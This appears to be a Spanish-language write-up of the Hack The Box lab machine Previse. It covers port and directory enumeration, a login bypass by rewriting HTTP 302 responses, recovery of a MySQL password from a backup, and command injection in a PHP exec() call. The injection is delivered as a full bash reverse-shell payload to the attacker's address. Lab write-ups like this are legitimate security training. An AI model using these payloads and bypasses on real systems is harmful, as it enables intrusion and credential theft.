
Previse es un desafío catalogada como fácil para ganar acceso y media para elevación de privilegios.
En primer lugar, como siempre comenzamos lanzando un nmap para comprobar los puertos que están abiertos.
# Nmap 7.92 scan initiated Tue Dec 7 15:32:18 2021 as: nmap -p- --open -T5 -v -oG allPorts -n 10.10.11.104
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.10.11.104 () Status: Up
Host: 10.10.11.104 () Ports: 22/open/tcp//ssh///, 80/open/tcp//http/// Ignored State: closed (65533)
# Nmap done at Tue Dec 7 15:32:38 2021 -- 1 IP address (1 host up) scanned in 19.77 seconds
omo podemos ver únicamente tiene abierto los puertos 22 y 80.
Lanzamos Whatweb para intentar recabar mas datos
http://10.10.11.104/ [302 Found] Apache[2.4.29], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.11.104], Meta-Author[m4lwhere], RedirectLocation[login.php], Script, Title[Previse Home]
http://10.10.11.104/login.php [200 OK] Apache[2.4.29], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.29 (Ubuntu)], IP[10.10.11.104], Meta-Author[m4lwhere], PasswordField[password], Script, Title[Previse Login]
Al acceder al puerto 80 nos encontramos con la siguiente web la cual presenta un panel de acceso.

Probamos con contraseñas por defecto pero no conseguimos acceso. Al no conseguir acceso a la web seguimos con nuestro proceso de enumeración
Realizando el fuzz comprobamos que con los wordlist pequeños no nos encuentra nada. al realizarlo con /directory-list-lowercase-2.3-medium.txt empezamos a entrar cosas interesantes como: nav.php
gobuster dir -u 10.10.11.104 -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt -e -s "200,301,302,401" -x "php" -t 100
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.11.104
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.1.0
[+] Extensions: php
[+] Expanded: true
[+] Timeout: 10s
===============================================================
2021/12/07 16:13:02 Starting gobuster in directory enumeration mode
===============================================================
http://10.10.11.104/index.php (Status: 302) [Size: 2801] [--> login.php]
http://10.10.11.104/header.php (Status: 200) [Size: 980]
http://10.10.11.104/nav.php (Status: 200) [Size: 1248]
http://10.10.11.104/download.php (Status: 302) [Size: 0] [--> login.php]
http://10.10.11.104/login.php (Status: 200) [Size: 2224]
http://10.10.11.104/footer.php (Status: 200) [Size: 217]
http://10.10.11.104/css (Status: 301) [Size: 310] [--> http://10.10.11.104/css/]
http://10.10.11.104/status.php (Status: 302) [Size: 2971] [--> login.php]
http://10.10.11.104/js (Status: 301) [Size: 309] [--> http://10.10.11.104/js/]
http://10.10.11.104/logout.php (Status: 302) [Size: 0] [--> login.php]
http://10.10.11.104/accounts.php (Status: 302) [Size: 3994] [--> login.php]
http://10.10.11.104/config.php (Status: 200) [Size: 0]
http://10.10.11.104/files.php (Status: 302) [Size: 7240] [--> login.php]
http://10.10.11.104/logs.php (Status: 302) [Size: 0] [--> login.php]
http://10.10.11.104/server-status (Status: 403) [Size: 277]
Al acceder a nav.php nos encontramos con un pequeño menú

Nos damos cuenta que cuando intentamos acceder a sitio nos hacen una redirección a login.php

Abrimos Burp Suite y vamos a intentar manipular la respuesta del servidor (Más información)

Botón derecho sobre Intercept > Do Intercept > Response to this request

Cambiamos el código http 302 que nos devolvía la web por 200

Al volver de nuevo al navegador comprobamos que hemos podido acceder al apartado de «accounts.php»

Creamos un nuevo usuario

Volvemos a cambiar la respuesta: Botón derecho sobre Intercept > Do Intercept > Response to this request

Cambiamos el código http 302 que nos devolvía la web por 200

Al volver de nuevo al navegador nos encontramos que nos indica que se creo en usuario correctamente.

Una vez finalice la creación del usuario se me ocurrió que la podría haber hecho mediante curl
curl -is -X POST -d "username=admin&password=temporal01.&confirm=temporal01." 10.10.11.104/accounts.php
Accedemos con el usuario creado anteriormente.

Nos muestra un panel en donde podemos acceder a múltiple información

Vemos que en el apartado «file» un backup

Descomprimimos el archivo para buscar información sensible que nos pudiese ayudar.
unzip siteBackup.zip
Archive: siteBackup.zip
inflating: accounts.php
inflating: config.php
inflating: download.php
inflating: file_logs.php
inflating: files.php
inflating: footer.php
inflating: header.php
inflating: index.php
inflating: login.php
inflating: logout.php
inflating: logs.php
inflating: nav.php
inflating: status.php
Al descomprimir los ficheros encontramos en el archivo «config.php» un usuario y contraseña de MySQL
cat config.php
<?php
function connectDB(){
$host = 'localhost';
$user = 'root';
$passwd = 'mySQL_p@ssw0rd!:)';
$db = 'previse';
$mycon = new mysqli($host, $user, $passwd, $db);
return $mycon;
}
?>
Intentamos reutilizar la contraseña para acceder con otro usuario por ssh sin ningún resultado. Por lo tanto nos la guardamos por si nos pudiese servir para mas adelante.
Seguimos buscando… y en archivo logs.php encontramos un posible RCE (Más información) en la función exec()
$output = exec("/usr/bin/python /opt/scripts/log_process.py {$_POST['delim']}");
echo $output;
$filepath = "/var/www/out.log";
$filename = "out.log";
Accedemos nuevamente a la web al apartado file_logs.php, abrimos nuestro Burp Suite y el proxy

Modificamos la query y dejamos un NC escuchando
delim=comma%26/bin/bash+-c+'bash+-i+>+/dev/tcp/10.10.16.75/443+0>%261'

Una vez ejecutado la query volvemos al terminal donde hemos dejado escuchando NC

Una vez hemos conseguido acceso al servidor nos valemos de la clave obtenida anteriormente ( $passwd = ‘mySQL_p@ssw0rd!:)’; ) para acceder al servicio de MySQL.
